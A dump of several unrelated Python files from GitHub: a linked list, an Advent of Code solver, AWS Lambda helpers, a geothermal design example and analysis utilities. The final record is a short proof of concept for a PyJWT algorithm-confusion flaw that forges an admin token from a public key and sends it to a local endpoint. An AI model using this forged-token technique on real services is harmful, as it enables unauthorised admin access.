delete')\n # newLinkedList.traverseList()\n newLinkedList.reverseLinkedList()\n newLinkedList.traverseList()\n \n\n\n \n \n\n\n","repo_name":"Manoj-sahu/datastructre","sub_path":"LinkedList/L.py","file_name":"L.py","file_ext":"py","file_size_in_byte":4457,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"15855630145","text":"def sort_str(input_string: str) -> str:\n return \"\".join(sorted(input_string))\n\n\ndef formatted_input():\n with open(\"input.txt\", \"r\", encoding=\"utf-8\") as file:\n for line in file:\n inp, out = line.strip().split(\" | \")\n yield (map(sort_str, inp.split(\" \")), map(sort_str, out.split(\" \")))\n\n\n# Check if all the characters in small_num are in scrambled_num\ndef check_small_in_big(smaller_num, scrambled_num):\n smaller_num = list(smaller_num)\n scrambled_num = list(scrambled_num)\n\n for char in smaller_num:\n if char not in scrambled_num:\n return False\n\n return True\n\n\n# Returns True if the\ndef is_five(smaller_num, scrambled_num):\n smaller_num = list(smaller_num)\n scrambled_num = list(scrambled_num)\n dif = 0\n\n for char in smaller_num:\n if char not in scrambled_num:\n dif += 1\n\n # If only one differnce than the number if 5\n if dif == 1:\n return True\n\n # Else it is 2\n else:\n return False\n\n\n# Decode 1,4,7, and 8\ndef decode_display_easy(scrabled_num, dic):\n len_num = len(scrabled_num)\n if len_num == 2:\n dic[\"1\"] = scrabled_num\n\n elif len_num == 4:\n dic[\"4\"] = scrabled_num\n\n elif len_num == 3:\n dic[\"7\"] = scrabled_num\n\n elif len_num == 7:\n dic[\"8\"] = scrabled_num\n\n\n# Decode 0,3,6, and 9\ndef decode_display_hard(scrabled_num, dic):\n len_num = len(scrabled_num)\n if len_num == 6:\n if check_small_in_big(dic[\"4\"], scrabled_num):\n dic[\"9\"] = scrabled_num\n\n elif check_small_in_big(dic[\"7\"], scrabled_num):\n dic[\"0\"] = scrabled_num\n\n else:\n dic[\"6\"] = scrabled_num\n\n elif len_num == 5:\n if check_small_in_big(dic[\"1\"], scrabled_num):\n dic[\"3\"] = scrabled_num\n\n\n# Decode 2 and 5\ndef decode_display_two_or_five(scrabled_num, dic):\n if is_five(dic[\"6\"], scrabled_num):\n dic[\"5\"] = scrabled_num\n else:\n dic[\"2\"] = scrabled_num\n\n\n# Delete exisitng scrambled number from the input list\ndef del_existing_num(lst, dic):\n for val in dic.values():\n if val in lst:\n lst.remove(val)\n\n return lst\n\n\nsum_outputs = 0\n\n# Decode each line from input file and add the result to sum_outputs\nfor inp, out in formatted_input():\n inp = list(inp)\n out = list(out)\n\n # 0 : len = 6 and contains 7, but not 4\n # 1 : len = 2\n # 2 : len = 5 found by deduction\n # 3 : len = 5 and contains 1\n # 4 : len = 4\n # 5 : len = 5 and contains 6, but differs only on one segment (2 differs by 3 segments)\n # 6 : len = 6, but does not contain 4 or 7\n # 7 : len = 3\n # 8 : len = 7\n # 9 : len = 6 and contains 4\n\n decoded_display = {}\n\n # Decode the easy ones\n for scrabled_num in inp:\n decode_display_easy(scrabled_num, decoded_display)\n\n del_existing_num(inp, decoded_display)\n\n # Decode the hard ones\n for scrabled_num in inp:\n decode_display_hard(scrabled_num, decoded_display)\n\n del_existing_num(inp, decoded_display)\n\n # Decode the remaining (two or five)\n for scrabled_num in inp:\n decode_display_two_or_five(scrabled_num, decoded_display)\n\n # Flip the dictionary so scrambled outputs return the designated number on the diplay\n decoded_display = {val: key for key, val in decoded_display.items()}\n\n num_str = \"\"\n\n # Each output value is decoded seperately, so add each decoded number as a string to num_str\n for scrabled_num in out:\n num_str += decoded_display[scrabled_num]\n\n # Add the final decoded number to sum_outputs\n sum_outputs += int(num_str)\n\n\nprint(sum_outputs)\n","repo_name":"DouglasTitze/AdventCalender","sub_path":"day8/p2.py","file_name":"p2.py","file_ext":"py","file_size_in_byte":3634,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"27742888256","text":"import boto3\nimport os\n\n\ndef create_lambda(lambda_name: str, lambda_role: str, lambda_code_zip_file: str) -> str:\n client = boto3.client('lambda')\n lambda_filename = os.path.splitext(lambda_code_zip_file)[0]\n if not os.path.exists(lambda_code_zip_file):\n try:\n create_zip_from_py(lambda_filename + '.py')\n except Exception as e:\n raise 'cannot find lambda code file!'\n with open(lambda_code_zip_file, 'rb') as f:\n lambda_code = f.read()\n\n lambda_runtime = 'python3.9'\n handler = f'{lambda_filename}.lambda_handler'\n code = dict(ZipFile=lambda_code)\n\n try:\n response = client.create_function(FunctionName=lambda_name, Runtime=lambda_runtime, Role=lambda_role, Code=code,\n Handler=handler)\n print('lambda function created')\n return response['FunctionArn']\n except client.exceptions as E:\n print(f'\\terror creating lambda function {E}')\n\n\ndef get_lambda_function_arn_by_name(function_name: str) -> str:\n client = boto3.client('lambda')\n response = client.list_functions()\n\n for function in response['Functions']:\n if function['FunctionName'] == function_name:\n return function['FunctionArn']\n return None\n\n\ndef check_lambda_exists(function_name: str) -> bool:\n if get_lambda_function_arn_by_name(function_name):\n return True\n return False\n\n\ndef delete_lambda_function(lambda_function_name: str):\n client = boto3.client('lambda')\n\n try:\n # delete function returns response but data not useful\n client.delete_function(FunctionName=lambda_function_name)\n print(f'Deleted existing lambda function {lambda_function_name}')\n except client.exceptions.ResourceNotFoundException as E:\n print(f\"\\tLambda function '{lambda_function_name}' not deleted, {E}\")\n\n\ndef create_api_trigger(lambda_name: str, api_id: str):\n client = boto3.client('lambda')\n try:\n client.add_permission(\n FunctionName=lambda_name,\n StatementId='AllowInvokeFromApiGateway',\n Action='lambda:InvokeFunction',\n Principal='apigateway.amazonaws.com',\n SourceArn=f'arn:aws:execute-api:us-east-1:264782567005:{api_id}/*/POST/{lambda_name}'\n )\n print(f'created trigger for {lambda_name} by api')\n except ClientError as E:\n print(f'\\terror creating api gateway trigger to lambda {E}')\n\n\ndef create_sns_trigger(lambda_name: str, topic_arn: str):\n client = boto3.client('lambda')\n try:\n client.add_permission(\n FunctionName=lambda_name,\n StatementId='sns-trigger',\n Action='lambda:InvokeFunction',\n Principal='sns.amazonaws.com',\n SourceArn=topic_arn\n )\n topic_name = topic_arn.split(':')[-1]\n print(f'created trigger for {lambda_name} for topic {topic_name}')\n except ClientError as E:\n print(f'\\tLambda trigger to topic {topic_arn} not created, {E}')","repo_name":"AmitMenashe-il/AWS-sns-API-lambda","sub_path":"aws_lambda_funcs.py","file_name":"aws_lambda_funcs.py","file_ext":"py","file_size_in_byte":3010,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"26425205209","text":"\n# Exemple 6.10 written by Louis lamarche 3 october 2017\n#\nfrom geothermal_md import *\nimport numpy as np\nfrom matplotlib.pyplot import *\nfrom design_md import *\n#\n# data\n#\n# soil\nald = 0.09 # m2/jr\nalhr = ald/24.0\nals = alhr/3600\nks = 2.5\nTo = 10.0\n\nmy_ground = ground(ksoil=ks,alsoil=als,To = To)\n\nCOP_ch = 3.0\nCOP_cl = 5.0\nCAP_ch = 12000.0*3\nCAP_cl = 12000.0*3\n# well\nrb = 0.15/2.0\nkg = 1.7\ndo = 0.033\ndi = 0.027\nro = do/2.0\nri = di/2.0\nxc = rb/3\nkp = 0.4\n# fluid\nrhof = 1030\nmp1 = 0.6/1000.0*rhof # flow rate per borehole\nCpf = 3800.0\nmuf = 0.004\nkf = 0.44\nalf = kf/(rhof*Cpf)\nnuf = muf/rhof\nPr = nuf/alf\n#\n# design data\nTfo_ch = 0.0 # valeur de design\nTfo_cl = 25.0 # valeur de design\nn_years = 10\nnh = 4 # hourly block\n#\n# filed configuration\nnx = 3\nny = 2\nb = 6.0\nb = 6.0\nnt = nx*ny\nmp = mp1*nt\nzot = 0.04\n# resistance\nRe = 4*mp1/(pi*di*muf)\nif (Re>2300.0):\n # Gnielienski\n f = (0.79*np.log(Re)- 1.64)**-2\n Nud=((Re-1000.)*f*Pr/8.)/(1.+12.7*np.sqrt(f/8.)*(Pr**(2./3.)-1))\nelse:\n Nud = 3.6\n disp('Careful laminar')\nhf = (Nud*kf)/(di)\nrconv = 1/(pi*di*hf)\nrcond = np.log(do/di)/(2*pi*kp)\nRp = rcond + rconv\nRb = Rb_Paul(kg,rb,ro,'b') + Rp/2.0\nJ = 10\nz = np.array([xc,-xc]) # pipes coordinates\nRb2,Ra2 = Rb_multipole(kg,ks,rb,ro,Rp,J,z)\n#\n# loads MWh\n#\nhrm = 730\nA = np.array([[2.17,0.00],[2.07, 0.00],[1.750,0.000],[1.39,0.00],[0.9,-1.2],[0.00,-1.6],[0.00,-2.00],[0.00,-1.80],[0.85,-0.80],[1.22,-0.40],[1.64,0.00],[2.02,0.00]])\nA = 3*A # all loads are multiplied by 3\nE_chau = np.sum(A[:,0]) # MWh\nq_chau = A[:,0]*1.0e6/hrm # W\nE_clim = np.sum(A[:,1]) # MWh\nq_clim = A[:,1]*1.0e6/hrm # W\nq_sol = q_chau+q_clim\nqm_ch = max(q_sol)\nqm_cl = min(q_sol)\nqa = (E_chau + E_clim)*1.0e6/8760 # W\nqh_ch = CAP_ch*(COP_ch-1)/COP_ch\nqh_cl = -CAP_cl*(COP_cl+1)/COP_cl\nCCf = mp*Cpf\nmy_borehole1 = borehole(nx=nx,ny=ny,rb = rb,dist = b,Rb=Rb,CCf=CCf)\nmy_borehole2 = borehole(nx=nx,ny=ny,rb = rb,dist = b,Rb=Rb2,CCf=CCf)\nparam_conception_eeda = eed_params(init_month = 0,q_months = q_sol,qh_heating=qh_ch,qh_cooling=qh_cl,Tfo_heating =Tfo_ch,\\\n Tfo_cooling = Tfo_cl,n_years = n_years, n_bloc = nh)\nparam_conception_eedb = eed_params(init_month = 5,q_months = q_sol,qh_heating=qh_ch,qh_cooling=qh_cl,Tfo_heating =Tfo_ch,\\\n Tfo_cooling = Tfo_cl,n_years = n_years, n_bloc = nh)\nfirst_design = borefield(params = param_conception_eeda,ground = my_ground,borehole = my_borehole1)\nsecond_design = borefield(params = param_conception_eedb,ground = my_ground,borehole = my_borehole1)\nthird_design = borefield(params = param_conception_eeda,ground = my_ground,borehole = my_borehole2)\nfourth_design = borefield(params = param_conception_eedb,ground = my_ground,borehole = my_borehole2)\nLa = first_design.Compute_L_eed()\nprint('La = ',La)\nLb = second_design.Compute_L_eed()\nprint('Lb = ',Lb)\nLc = third_design.Compute_L_eed()\nprint('Lc = ',Lc)\nLd = fourth_design.Compute_L_eed()\nprint('Ld = ',Ld)\n\n\n\n","repo_name":"LouisLamarche/Fundamentals-of-Geothermal-Heat-Pump-Systems","sub_path":"chapter6/Example6_10cl.py","file_name":"Example6_10cl.py","file_ext":"py","file_size_in_byte":2950,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"36"} +{"seq_id":"73578598183","text":"import os\nimport glob\nimport inspect\nimport re\nimport operator\nimport argparse\nimport functools\nimport itertools as it\nimport numpy as np\nimport h5py\nfrom types import SimpleNamespace\n\nimport inclusion\nfrom inclusion.config import main\nfrom inclusion.utils import utils\n\nimport ROOT\n\ndef add_slash(s):\n \"\"\"Adds single slash to path if absent\"\"\"\n s = s if s[-1] == '/' else s + '/'\n return s\n\ndef add_vnames(*vnames):\n return '_VERSUS_'.join(vnames)\n\ndef at_least_two(x1, x2, x3):\n \"\"\"Checks if at least two out of the three boleans are True.\"\"\"\n return x1 if (x2 or x3) else (x2 and x3)\n\ndef build_script_command(name, sep, **kw):\n if name:\n p = build_script_path(name)\n comm = 'python3 {} '.format(p)\n else:\n comm = ' '\n for k,v in kw.items():\n if len(k)==1:\n comm += '-{} {}'.format(k,v)\n else:\n comm += '--{} {}'.format(k,v)\n comm += sep\n return comm\n \ndef build_script_path(name):\n path = os.path.join(main.local_folder,\n main.folders['scripts'],\n name)\n return path\n\ndef check_discr_vars_correctness(triggers, dset, channel, exclusive):\n \"\"\"\n Check if the intersections exist, are complete, and do not have duplicates.\n Input dictionary should have the following signature:\n \"\"\"\n chn_inters = generate_trigger_combinations(channel, triggers, exclusive)\n flatten = list(dset.keys())\n\n # type check\n for x in flatten:\n if not isinstance(x, tuple):\n mes = 'Intersection {} must be defined as a tuple'.format(x)\n raise TypeError(mes)\n \n # existence check\n for x in flatten:\n if x not in chn_inters and len(x)!=0:\n mes = 'Intersection {} is not required by channel {}.'\n mes = mes.format(f, channel)\n raise ValueError(mes)\n\n # completness check\n diff = set(chn_inters)-set(flatten)\n if diff:\n mes = 'Some intersections were not included in the configuration:\\n'\n for elem in diff:\n mes += ' - ' + utils.join_name_trigger_intersection(elem) + '\\n'\n raise ValueError(mes)\n\n # duplicate check\n dup = set([x for x in flatten if flatten.count(x) > 1])\n if dup:\n mes = 'Some intersections in the configuration are duplicated:\\n'\n for elem in dup:\n mes += ' - ' + utils.join_name_trigger_intersection(elem) + '\\n'\n raise ValueError(mes)\n \n return\n\ndef check_inters_correctness(triggers, dchn, dgen, channel, exclusive):\n \"\"\"\n Check if the intersections exist, are complete, and do not have duplicates.\n Input dictionary should have the following signature:\n d = {'dataset1': (tuple1, tuple2,), 'dataset2': (tuple3, tuple4,), ...}\n \"\"\"\n chn_inters = generate_trigger_combinations(channel, triggers, exclusive)\n flatten = [ tuple(sorted(w)) for x in dchn for w in dchn[x] ]\n flatten += [ tuple(sorted(w)) for x in dgen for w in dgen[x] ]\n \n # type check\n for x in flatten:\n if not isinstance(x, tuple):\n mes = 'Intersection {} must be defined as a tuple'.format(x)\n raise TypeError(mes)\n\n # existence check\n for x in flatten:\n if x not in chn_inters and len(x)!=0:\n mes = 'Intersection {} is not required by channel {}.'\n mes = mes.format(x, channel)\n raise ValueError(mes)\n\n # completness check\n diff = set(chn_inters)-set(flatten)\n if diff:\n mes = 'Some intersections were not included in the configuration:\\n'\n for elem in diff:\n mes += ' - ' + utils.join_name_trigger_intersection(elem) + '\\n'\n raise ValueError(mes)\n\n # duplicate check\n dup = set([x for x in flatten if flatten.count(x) > 1])\n if dup:\n mes = 'Some intersections in the configuration are duplicated:\\n'\n for elem in dup:\n mes += ' - ' + utils.join_name_trigger_intersection(elem) + '\\n'\n raise ValueError(mes)\n \n return\n\ndef check_triggers_exist(l, triggers):\n \"\"\"Check individual triggers match the ones in the configuration file.\"\"\"\n for elem in l:\n if elem not in triggers:\n mess = '[utils.check_triggers_exist] '\n mess += 'Trigger {} is not supported'.format(elem)\n raise ValueError(mess)\n return\n \ndef create_single_dir(p):\n \"\"\"Creates a directory if it does not exist\"\"\"\n try:\n if not os.path.exists(p): \n os.makedirs(p)\n except PermissionError:\n m = ( \"You tried to create folder {}. Make sure you have the rights!\"\n \"Are you sure the path is correct?\".format(p) )\n print(m)\n raise\n except FileExistsError:\n pass\n \ndef create_single_file(f):\n \"\"\"Creates a dummy file if it does not exist\"\"\"\n try:\n os.remove(f)\n except OSError as e:\n if e.errno != errno.ENOENT: # errno.ENOENT = no such file or directory\n raise\n with open(f, 'x') as newf:\n newf.write('[utils] Dummy text.')\n\ndef debug(message, flag=True, fname=None):\n decorator = ' ============ '\n if flag:\n mes = '[' + os.path.basename(fname) + '] ' if fname is not None else ''\n mes += decorator + message + decorator\n print(mes, flush=True)\n\ndef define_used_tree_variables(cut):\n \"\"\"\n Return the list of all required TTree variables.\n This is the sum of default ones plus the ones contained\n in the user-provided custom cut.\n Repeated variables are deleted.\n \"\"\"\n _entries = ('triggerbit', 'RunNumber', 'MC_weight', 'lumi', 'IdSF_deep_2d',\n 'PUReweight', 'HHKin_mass', 'isLeptrigger', 'pairType',\n 'dau1_eleMVAiso', 'dau1_iso', 'dau2_iso', 'dau1_deepTauVsJet', 'dau2_deepTauVsJet',\n 'nleps', 'nbjetscand', 'tauH_SVFIT_mass', 'bH_mass_raw',\n 'bjet1_bID_deepFlavor', 'bjet2_bID_deepFlavor',\n 'isVBF', 'VBFjj_mass', 'VBFjj_deltaEta')\n _regex = tuple(set(re.findall(r'self\\.entries\\.(.+?)\\s', cut)))\n return tuple(set(_entries + _regex))\n \nclass dot_dict(dict):\n \"\"\"dot.notation access to dictionary attributes\"\"\"\n __getattr__ = dict.get\n __setattr__ = dict.__setitem__\n __delattr__ = dict.__delitem__\n\ndef find_bin(edges, value, var):\n \"\"\"\n Find the bin id corresponding to one value, given the bin edges.\n Bin 0 stands for underflow.\n \"\"\"\n binid = np.digitize(value, edges)\n if binid == len(edges):\n binid -= 1 # include overflow\n\n # check for out-of-bounds\n if binid==0:\n print(binid, value, var)\n print(edges, len(edges))\n print( '[{}] WARNING: This should never happen in production code. '\n 'Are you sure the binning is well defined?'.format(os.path.basename(__file__)) )\n binid = 1\n elif binid>len(edges):\n raise ValueError('[{}] WARNING: This cannot happen in production code.')\n\n return binid\n\ndef flatten_nested_dict(d):\n \"\"\"\n Splits keys and values.\n Dictionaries are not straightforward to pass as arguments.\n \"\"\"\n keys, vals = ([] for _ in range(2))\n for k,v in d.items():\n for x in v:\n keys.append(k)\n vals.extend(v)\n return keys, vals\n\ndef generate_trigger_combinations(channel, trigs, exclusive):\n \"\"\"\n Set all possible trigger intersection combinations, per channel.\n Does not consider intersections between incompatible triggers and channels\n (for instance, `etau` channel with `IsoMu24` trigger).\n Each intersection is sorted alphabetically\n (useful for matching with the KLUB framework).\n \"\"\"\n # look only at combinations where the channel is imcompatible with the trigger\n pruntrigs = [ exclusive[x] for x in exclusive if x not in (channel, 'general') ]\n pruntrigs = set(it.chain(*pruntrigs))\n pruntrigs = set(trigs) - pruntrigs\n\n length1 = list(it.chain.from_iterable(it.combinations(sorted(pruntrigs), 1)))\n check_triggers_exist(length1, trigs)\n complete = list( it.chain.from_iterable(it.combinations(sorted(pruntrigs), x)\n for x in range(1,len(pruntrigs)+1)) )\n return complete\n\ndef get_display_variable_name(channel, var):\n if channel == 'mutau':\n var_custom = var.replace('dau1', 'mu').replace('dau2', 'tau')\n elif channel == 'etau':\n var_custom = var.replace('dau1', 'electron').replace('dau2', 'electron')\n elif channel == 'tautau':\n var_custom = var.replace('dau1', 'tau').replace('dau2', 'tau')\n elif channel == 'mumu':\n var_custom = var.replace('dau1', 'mu').replace('dau2', 'mu')\n else:\n var_custom = var\n return var_custom\n\ndef get_key_list(afile, inherits=['TH1']):\n tmp = []\n keylist = ROOT.TIter(afile.GetListOfKeys())\n for key in keylist:\n cl = ROOT.gROOT.GetClass(key.GetClassName())\n\n inherited = functools.reduce( lambda x, y: x or y,\n [ cl.InheritsFrom(x) for x in inherits ] )\n if not inherited:\n continue\n \n h = key.ReadObj()\n tmp.append( h.GetName() )\n return tmp\n\ndef get_hnames(opt):\n ph = main.placeholder_cuts\n if opt == 'Ref1D':\n return lambda a,b,c : 'Ref1D_{}_{}_{}'.format(a,b,c)\n elif opt == 'Trig1D':\n return lambda a,b,c : 'Trig1D_{}_{}_{}{}'.format(a,b,c,ph)\n elif opt == 'Ref2D':\n return lambda a,b,c : 'Ref2D_{}_{}_{}'.format(a,b,c)\n elif opt == 'Trig2D':\n return lambda a,b,c : 'Trig2D_{}_{}_{}{}'.format(a,b,c,ph)\n elif opt == 'Canvas2D':\n return lambda a,b,c : 'Canvas2D_{}_{}_{}{}'.format(a,b,c,ph)\n elif opt == 'Closure':\n return lambda a,b,c,d : 'Closure{}_{}_{}_{}'.format(a,b,c,d)\n else:\n import inspect\n currentFunction = inspect.getframeinfo(frame).function\n raise ValueError('[{}] option not supported.'.format(currentFunction))\n\ndef get_obj_max_min(graph, is_histo):\n vmax, vmin = 0, 1e10\n npoints = graph.GetN()\n for point in range(npoints):\n if is_histo:\n val = graph.GetBinContent(point+1)\n else:\n val = graph.GetPointY(point)\n if val > vmax:\n vmax = val\n if val < vmin:\n vmin = val\n return vmax, vmin\n\ndef get_root_inputs(proc, indir, include_tree=False):\n #### Check input folder\n if not isinstance(indir, (tuple,list)):\n indir = [indir]\n fexists = []\n for idir in indir:\n g = glob.glob(os.path.join(idir, proc + '*/goodfiles.txt'))\n fexists.append(False if len(g)==0 else True)\n\n # check one and only one is True\n if sum(fexists) == 0:\n m = '[get_root_input_files] No file was found for the {} sample. '.format(proc)\n m += 'The inspect path was {}'.format('INDIR/' + proc + '*/goodfiles.txt')\n m += ' where INDIR stands for the following: {}.'.format(indir)\n raise ValueError(m)\n elif sum(fexists) > 1:\n m = '[get_root_input_files] More than one file exists for the {} sample.'.format(proc)\n m += ' Selecting directory {} '.format(indir[fexists.index(True)])\n m += 'from the following list: {}.'.format(indir)\n raise ValueError(m)\n\n #this is the only correct input directory\n inputdir = indir[ fexists.index(True) ]\n\n inputfiles = glob.glob( os.path.join(indir[fexists.index(True)],\n proc + '*/goodfiles.txt') )\n\n #### Parse input list\n filelist=[]\n for inp in inputfiles:\n with open(inp) as fIn:\n for line in fIn:\n if '.root' in line:\n if include_tree:\n line = line[:-1] # remove new line\n if not os.path.exists(line): \n mes = '[' + os.path.basename(__file__) + '] '\n mes += ' The input file does not exist: {}'.format(line)\n raise ValueError(mes)\n filelist.append(line + ':HTauTauTree')\n else:\n if line[:-1] not in main.corrupted_files:\n filelist.append(line)\n \n return filelist, inputdir\n\ndef get_root_object(name, afile):\n try:\n _keys = afile.GetListOfKeys()\n except ReferenceError:\n print('File {} does not exist!'.format(afile))\n raise\n if name not in _keys:\n msg = 'Wrong ROOT object name!\\n'\n msg += 'File name: {}\\n'.format(afile.GetName())\n msg += 'Object name: {}\\n'.format(name)\n msg += '{} keys:\\n'.format(len(_keys))\n for k in _keys[:5]:\n msg += ' - {}\\n'.format(k.GetName())\n msg += ' - ...'\n raise ValueError(msg)\n return afile.Get(name)\n\ndef hadd_subpaths(args, channel=''):\n channel_str = '' if channel=='' else channel+'_'\n _tbase1 = args.tprefix + channel_str + args.dataset_name\n _tbase2 = '_Sum' + args.subtag\n return _tbase1, _tbase2\n\ndef is_channel_consistent(chn, pairtype):\n opdict = { '<': operator.lt,\n '>': operator.gt,\n '==': operator.eq }\n\n op, val = main.sel[chn]['pairType']\n return opdict[op](pairtype, val)\n\ndef is_trigger_comb_in_channel(chn, tcomb, triggers, exclusive):\n possible_trigs = generate_trigger_combinations(chn, triggers, exclusive)\n split = tuple(tcomb.split(main.inters_str))\n return split in possible_trigs\n \ndef is_nan(num):\n return num!= num\n\ndef join_name_trigger_intersection(tuple_element):\n inters = main.inters_str\n return inters.join(tuple_element)\n\ndef join_strings(*args, sep=''):\n return sep.join(args)\n\ndef load_binning(afile, key, variables, channels):\n \"\"\"\n Load the Binning stored in a previous task.\n \"\"\"\n binedges, nbins = ({} for _ in range(2))\n with h5py.File(afile, 'r') as f:\n try:\n group = f[key]\n except KeyError:\n missing_key_print(afile, key)\n \n for var in variables:\n try:\n subgroup = group[var]\n except KeyError:\n missing_key_print(afile, key)\n \n binedges[var], nbins[var] = ({} for _ in range(2))\n for chn in channels:\n binedges[var][chn] = np.array(subgroup[chn][:])\n nbins[var][chn] = len(binedges[var][chn]) - 1\n\n return binedges, nbins\n \ndef missing_key_print(afile, key):\n print('{} does not have key {}.'.format(afile, key))\n print('Available keys: {}'.format(f.keys()))\n raise\n\ndef redraw_border():\n \"\"\"\n this little macro redraws the axis tick marks and the pad border lines.\n \"\"\"\n ROOT.gPad.Update()\n ROOT.gPad.RedrawAxis()\n l = ROOT.TLine()\n l.SetLineWidth(2)\n\n l.DrawLine(ROOT.gPad.GetUxmin(), ROOT.gPad.GetUymax(), ROOT.gPad.GetUxmax(), ROOT.gPad.GetUymax()) #top border\n l.DrawLine(ROOT.gPad.GetUxmax(), ROOT.gPad.GetUymin(), ROOT.gPad.GetUxmax(), ROOT.gPad.GetUymax()) #right border\n l.DrawLine(ROOT.gPad.GetUxmin(), ROOT.gPad.GetUymin(), ROOT.gPad.GetUxmin(), ROOT.gPad.GetUymax()) #left border\n l.DrawLine(ROOT.gPad.GetUxmin(), ROOT.gPad.GetUymin(), ROOT.gPad.GetUxmax(), ROOT.gPad.GetUymin()) #bottom border\n\ndef remove(f):\n if os.path.exists(f):\n os.remove(f)\n\ndef rewrite_cut_string(oldstr, newstr, regex=False):\n if regex:\n _regex = re.findall(r'^.*CUTS_(.+)$', newstr)\n assert(len(_regex)==1)\n _regex = _regex[0]\n newstr = _regex.replace('>', 'L').replace('<', 'S').replace('.', 'p')\n \n res = oldstr.replace(main.placeholder_cuts, '_CUTS_'+newstr)\n return res\n\ndef set_pure_input_namespace(func):\n \"\"\"\n Decorator which forces the input namespace to be a \"bare\" one.\n Used when luigi calls a function with a luigi.DictParameter().\n 'param' can be used to pass additional arguments to the function being decorated.\n \"\"\"\n def wrapper(args, param=None):\n if not isinstance(args, (argparse.Namespace, SimpleNamespace)):\n args = SimpleNamespace(**args)\n if param:\n return func(args, param)\n else:\n return func(args)\n\n return wrapper\n\ndef split_vnames(joinvars):\n return joinvars.split('_VERSUS_')\n\ndef stoi(s):\n return int(float(s))\n \ndef print_configuration(parse_args):\n filename = inspect.stack()[1].filename \n \n print('----------------------------------------', flush=True)\n print('Script Name: {}'.format(filename))\n print('Script Configuration:', flush=True)\n options = vars(parse_args)\n maxlkey = max(len(x) for x in options.keys())\n for k,v in options.items():\n k = '--' + k\n if isinstance(v, (tuple,list)):\n v = ' '.join(v)\n print('{0:>{d1}} {1}'.format(k, v, d1=maxlkey+3), flush=True)\n print('----------------------------------------', flush=True)\n\ndef parse_args(parser):\n args = parser.parse_args()\n print_configuration(args)\n return args\n \ndef slash_to_underscore_and_keep(s, n=4):\n \"\"\"Replaces slashes by underscores, keeping only the last 'n' slash-separated strings\"\"\"\n return '_'.join( s.split('/')[-n:] )\n\ndef apply_equal_bin_width(old, roundx=2, roundy=2):\n \"\"\"\n Replaces the object by changing the labels and\n ensuring all bins have the same visual width.\n Internally the bins are numbered from 0 to nBins.\n \"\"\"\n darr = lambda x : np.array(x).astype(dtype=np.double)\n def xfunc(l, r):\n lstr = str(round(l, roundx)) if roundx!=0 else str(int(l))\n rstr = str(round(r, roundx)) if roundx!=0 else str(int(r))\n return '[' + lstr + ';' + rstr + '['\n def yfunc(l, r):\n lstr = str(round(l, roundy)) if roundy!=0 else str(int(l))\n rstr = str(round(r, roundy)) if roundy!=0 else str(int(r))\n return '#splitline{[' + lstr + ';}{' + rstr + '[}'\n \n if old.InheritsFrom(ROOT.TGraphAsymmErrors.Class()):\n h = ROOT.TGraphAsymmErrors( old.GetN() )\n for ip in range(old.GetN()):\n h.SetPoint(ip, ip, old.GetPointY(ip) )\n h.SetPointError(ip, .5, .5,\n old.GetErrorYlow(ip), old.GetErrorYhigh(ip) )\n\n elif old.InheritsFrom(ROOT.TH2D.Class()): \n name = old.GetName() + '_equal_width'\n nx, ny = old.GetNbinsX(), old.GetNbinsY()\n h = ROOT.TH2D(name, name, nx, 0, nx, ny, 0, ny)\n for by in range(1, old.GetNbinsY()+1):\n for bx in range(1, old.GetNbinsX()+1):\n h.SetBinContent(bx, by, old.GetBinContent(bx, by))\n h.SetBinError(bx, by, old.GetBinError(bx, by))\n\n # Change bin labels\n for bx in range(1, old.GetNbinsX()+1):\n ledge = old.GetXaxis().GetBinLowEdge(bx)\n redge = old.GetXaxis().GetBinUpEdge(bx)\n h.GetXaxis().SetBinLabel(bx, xfunc(ledge,redge))\n for by in range(1, old.GetNbinsY()+1):\n dedge = old.GetYaxis().GetBinLowEdge(by)\n uedge = old.GetYaxis().GetBinUpEdge(by)\n h.GetYaxis().SetBinLabel(by, yfunc(dedge,uedge))\n else:\n mess = '[apply_equal_bin_width] '\n mess += 'The object should either be a TGraphasymmErrors or a TH2D'\n raise ValueError(mess)\n return h\n\ndef total_cross_section(f, isdata):\n if isdata:\n return 1.\n else:\n search_str = os.path.join(os.path.dirname(f), '*.root')\n xsec_norm = 0.\n for elem in glob.glob(search_str):\n ftmp = ROOT.TFile(elem)\n xsec_norm += ftmp.Get('h_eff').GetBinContent(1)\n return xsec_norm\n return None\n\ndef upify(s):\n \"\"\"capitalizes the first letter of the passed string\"\"\"\n return s[0].upper() + s[1:]\n\ndef write_trigger_string(trig_comb, inters_str, items_per_line=1, join='+'):\n c1, c2 = 0, 0\n trig_str = trig_comb.split(inters_str)\n\n if len(trig_str)==1:\n return 'Trigger: ' + trig_str[0]\n \n loopstr = 'Triggers: '\n it = [iter(trig_str)]*items_per_line\n raw = list(zip(*it))\n raw = [' + '.join(x) for x in raw]\n rest = len(trig_str) % items_per_line\n end = trig_str[-rest:]\n \n if end != trig_str:\n raw += end\n\n for elem in raw:\n if elem == raw[-1]:\n loopstr += elem + '}'*(len(raw)-1)\n else:\n loopstr += '#splitline{'\n loopstr += elem + ' ' + join\n loopstr += '}{'\n\n return loopstr\n","repo_name":"bfonta/inclusion","sub_path":"inclusion/utils/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":20417,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"7977505227","text":"import jwt\nimport requests\n\n# More info\n# https://github.com/jpadilla/pyjwt/security/advisories/GHSA-ffqj-6fqr-9h24\n\nclaims = {\n \"fresh\": False,\n \"iat\": 1663202622,\n \"jti\": \"c9606d76-7829-483f-a711-c1c092259787\",\n \"type\": \"access\",\n \"sub\": \"test1\",\n \"nbf\": 1663202622,\n \"exp\": 1663289022,\n \"is_admin\": True\n}\n\npublic_key = b'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDyh1lbNYwTf0EQ9y0e6lgYKPwH9fAdGT3FinPZHHSax'\ntoken = jwt.encode(claims, key=public_key, algorithm='HS256')\n\nurl = 'http://127.0.0.1:5001/protected'\nheaders = {\"Authorization\": f\"Bearer {token}\"}\nresponse = requests.get(url, 